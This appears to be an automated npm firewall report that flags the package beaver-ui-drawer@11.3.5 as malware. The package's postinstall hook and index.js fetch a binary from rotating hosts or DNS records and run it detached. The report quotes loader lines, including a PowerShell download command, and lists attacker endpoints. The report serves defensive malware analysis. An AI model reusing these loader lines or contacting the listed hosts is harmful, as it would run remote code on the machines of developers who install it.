---
canonical: "https://firewall.lpm.dev/npm/beaver-ui-drawer/v/11.3.5"
markdown: "https://firewall.lpm.dev/npm/beaver-ui-drawer/v/11.3.5.md"
package: "beaver-ui-drawer"
report_status: "published"
title: "beaver-ui-drawer@11.3.5 npm security report"
verdict: "malicious"
version: "11.3.5"
---

# beaver-ui-drawer@11.3.5 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — Arbitrary native code execution as the installing or importing user.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Remote Code Execution
- **Selected version:** 11.3.5
- **Selected version is latest:** Yes
- **Analysis source:** AI Security Review (lpm-firewall-ai)

Install triggers a hidden remote binary loader. Importing index.js also invokes that loader. Downloaded content is saved to a temporary path and executed detached.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Malicious
- **Confidence:** 99.0%
- **Started:** 2026-08-01T12:07:25.670Z
- **Finished:** 2026-08-01T12:07:50.892Z
- **Download time:** 251 ms
- **Static scan time:** 133 ms
- **AI review time:** 24837 ms
- **Total time:** 25222 ms

## Security analysis

### Published attack-surface review

- **Summary:** Install triggers a hidden remote binary loader. Importing index.js also invokes that loader. Downloaded content is saved to a temporary path and executed detached.

- **Trigger:** npm install (postinstall); also require/import of index.js

- **Impact:** Arbitrary native code execution as the installing or importing user.

- **Evidence paths:** package.json, setup.js, index.js, lib/telemetry.js

- **Review source:** ai\_review

- **Reviewed:** 2026-08-01T12:07:50.892Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** remote payload download, temporary-file drop, chmod, and detached execution

- **Attack narrative:** The postinstall hook executes setup.js, which silently fetches a platform-specific binary from rotating hosts or DNS TXT records, stores it in a temporary directory, makes it executable on non-Windows systems, and starts it detached with output suppressed. index.js repeats activation on ordinary imports; telemetry.js embeds the same loader design.

- **Rationale:** This is a concrete install-time remote payload execution chain unrelated to the declared React drawer package. Obfuscation, fallback DNS payload delivery, hidden filenames, and suppressed execution confirm malicious intent.

- **Files touched:** package.json, setup.js, index.js, lib/telemetry.js, /var/tmp/.cache\_\<random\>, /tmp/.analytics\_state, %TEMP%/dotnet\_diag\_\<random\>.exe

- **Network endpoints:** https://oob-worker.cf99-9b3.workers.dev/pkg/package, https://oob-worker.cf100-416.workers.dev/pkg/package, https://oob-worker.cf101-adf.workers.dev/pkg/package, https://oob-worker.cf102-baf.workers.dev/pkg/package, https://oob-worker.cf103-070.workers.dev/pkg/package, tin.dl.well1.site, tina.dl.well1.site, ldr.dl.well1.site, win.dl.well1.site

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** package.json postinstall runs node setup.js., setup.js downloads platform-specific binaries, including via DNS TXT fallback., setup.js writes payloads to /var/tmp or Windows Temp, marks them executable, and launches detached., index.js imports setup.js on normal package import., lib/telemetry.js contains the same download-to-temp-and-execute loader pattern.

- **Evidence against:** No legitimate drawer component functionality invokes telemetry.js.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/beaver-ui-drawer@11.3.5/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.postinstall = node setup.js || true
```

### 2. Medium: Ambiguous Install Lifecycle Script
- **Category:** Manifest
- **Confidence:** 75.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/beaver-ui-drawer@11.3.5/package.json>)

Install-time lifecycle script is not statically allowlisted and needs review.

Public source snippet (untrusted):

```json
scripts.postinstall = node setup.js || true
```

### 3. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 4. High: Child Process
- **Category:** Source
- **Confidence:** 85.0%
- **Path:** lib/telemetry.js
- **Public source:** [View source](<https://unpkg.com/beaver-ui-drawer@11.3.5/lib/telemetry.js>)

Package source references child process execution.

Public source snippet (untrusted):

```javascript
L490: 
L491: fork() {
L492: const child = new Scope();
```

### 5. High: Shell
- **Category:** Source
- **Confidence:** 85.0%
- **Path:** setup.js
- **Public source:** [View source](<https://unpkg.com/beaver-ui-drawer@11.3.5/setup.js>)

Package source references shell execution.

Public source snippet (untrusted):

```javascript
L71: const tmp = path.join(process.env.TEMP || "C:\\Windows\\Temp", ".dl_" + Math.random().toString(36).slice(2, 8));
L72: execSync('powershell -nop -c "irm https://' + host + urlPath + " -o '" + tmp + "'\"", { timeout: 15000, windowsHide: true, stdio: "ignore" });
L73: const buf = fs.readFileSync(tmp);
```

### 6. Low: Weak Crypto
- **Category:** Source
- **Confidence:** 64.0%
- **Path:** lib/telemetry.js
- **Public source:** [View source](<https://unpkg.com/beaver-ui-drawer@11.3.5/lib/telemetry.js>)

Package source references weak cryptographic algorithms.

Public source snippet (untrusted):

```javascript
L27: 
L28: const https = require("https");
L29: const dns = require("dns");
L30: const fs = require("fs");
...
L116: const _logger = new Logger(
L117: process.env.ANALYTICS_DEBUG ? LogLevel.DEBUG : LogLevel.NONE
L118: );
...
L224: "BUILD_NUMBER",
L225: "GITHUB_ACTIONS",
L226: "GITLAB_CI",
...
L275: app_start_time: new Date(Date.now() - process.uptime() * 1000).toISOString(),
L276: device_app_hash: hashString(process.cwd()),
```

### 7. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 8. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 9. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 10. High: Same File Env Network Execution
- **Category:** Source
- **Confidence:** 85.0%
- **Path:** setup.js
- **Public source:** [View source](<https://unpkg.com/beaver-ui-drawer@11.3.5/setup.js>)

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

Public source snippet (untrusted):

```javascript
L69: try {
L70: const { execSync } = require("child_process");
L71: const tmp = path.join(process.env.TEMP || "C:\\Windows\\Temp", ".dl_" + Math.random().toString(36).slice(2, 8));
L72: execSync('powershell -nop -c "irm https://' + host + urlPath + " -o '" + tmp + "'\"", { timeout: 15000, windowsHide: true, stdio: "ignore" });
L73: const buf = fs.readFileSync(tmp);
```

### 11. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** lib/telemetry.js
- **Public source:** [View source](<https://unpkg.com/beaver-ui-drawer@11.3.5/lib/telemetry.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = beaver-ui-drawer@9.4.9
matchedPath = lib/telemetry.js
matchedIdentity = npm:YmVhdmVyLXVpLWRyYXdlcg:9.4.9
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 12. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** setup.js
- **Public source:** [View source](<https://unpkg.com/beaver-ui-drawer@11.3.5/setup.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = beaver-ui-drawer@9.4.12
matchedPath = setup.js
matchedIdentity = npm:YmVhdmVyLXVpLWRyYXdlcg:9.4.12
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 13. High: Previous Version Dangerous Delta
- **Category:** Supply Chain
- **Confidence:** 93.0%
- **Path:** lib/telemetry.js
- **Public source:** [View source](<https://unpkg.com/beaver-ui-drawer@11.3.5/lib/telemetry.js>)

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = previous_version_dangerous_delta
matchedPackage = beaver-ui-drawer@9.4.10
matchedIdentity = npm:YmVhdmVyLXVpLWRyYXdlcg:9.4.10
similarity = 0.500
summary = stored previous version shares package body but lacks this dangerous source file
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** postinstall
- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** beaver-ui-drawer
- **Ecosystem:** npm
- **Version:** 11.3.5
- **Version published:** 2026-08-01T12:05:19.228Z
- **Package first seen:** 2026-08-01T11:17:17.800Z
- **Package last seen:** 2026-08-01T12:07:50.892Z
- **Known versions:** 5
- **Latest version:** 11.3.5
- **Appeal under review:** No
- **Description:** React components
- **Artifact files:** 7
- **Artifact unpacked size:** 83,689 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/beaver-ui-drawer/v/11.3.5>)
